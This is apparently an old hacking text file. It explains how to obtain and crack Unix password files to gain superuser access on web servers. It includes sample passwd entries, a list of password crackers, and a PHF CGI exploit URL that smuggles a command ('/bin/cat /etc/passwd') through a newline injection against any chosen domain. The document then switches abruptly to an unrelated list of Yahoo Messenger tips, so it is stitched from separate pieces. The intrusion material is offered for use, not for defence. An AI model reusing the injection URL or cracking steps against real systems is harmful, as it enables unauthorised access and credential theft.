Getting the Password File Through FTP

Well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.

Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted password from a shadowed
password file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system.

1.The first step that you would take is to download or copy the file.

2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recommend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking program you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) .

3. You then start up the cracker and follow the directions that it gives you.


The PHF Technique:

Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But still i thought that you should know about it. So I decided to include it.

The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).





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Yahoo Messenger Tips & Tricks

Here is the collection you ever wanted to know about your favorite Yahoo Messenger. Read and enjoy!!!!

Yahoo! Messenger—The Latest Version:

The latest version of Yahoo! Messenger is a significant improvement over previous versions. Go to http://messenger.yahoo.com/ to download it, and to see what’s new.



New Mail Alert:

To be alerted in Yahoo! Messenger whenever you receive new mail in your Yahoo! account, do the following: Select Login > Preferences. Go to the Alerts and Sounds category. Under ‘Alert me when:’, highlight ‘I receive a mail message’. Select the desired notification options under ‘Alert me by:’, and click OK.





All The Smileys You Want:

Want to know about all the smileys you can use in Yahoo! Messenger, along with their keyboard shortcuts? Point your browser to http://www.bigblueball.com/im/yahoo/yahoo-smileys.php





YEmote2:

Download it from http://www.camgrab.tk/. YEmote2 adds several interesting features to Yahoo! Messenger, such as advanced Webcam capture, easy smileys selection, advanced message archive viewer, an auto-reply feature, and much more. Go to http://www.andy.w2s.co.uk/yahoo/YEmotePlus/index.htm for more on YEmote2.





Change The Title Text:

Here’s how you change the title text that appears at the top of the Messenger window. By default, this is “Yahoo! Messenger”, followed by your status. Simply edit the ymsgr.ini file, which you will find in the same folder as the Messenger program, in your Program Files folder. Locate the file and open it in Notepad. Then, at the end, add the following:

[APP TITLE]
caption=YOUR TEXT

Here, “YOUR TEXT” is whatever you want in the title bar. Save the file and close Messenger. When you restart it you will see your text in the title bar.





Multicast A Message:

To send a message to several recipients at once, right click on the group title in your contact list, on select Send Message to all in this group. Alternatively, hold down [Ctrl] and left-click on the contacts you wish to send a message to. Once you’ve highlighted the required names, simply right click on a name and select ‘Send a message’.





I Don’t Want To Be Your Friend:

Your Buddy Ever wanted to remove your name off someone else’s buddy list? Download a plugin to do this, from http://www.zakie.fsnet.co.uk/nobuddy/





Extra Smileys—Free:

For adult-themed, rude, and just plain naughty smileys for Yahoo! Messenger,
navigate to http://www.geocities.com /basefaces/. You will find a link there to download a zipped archive.







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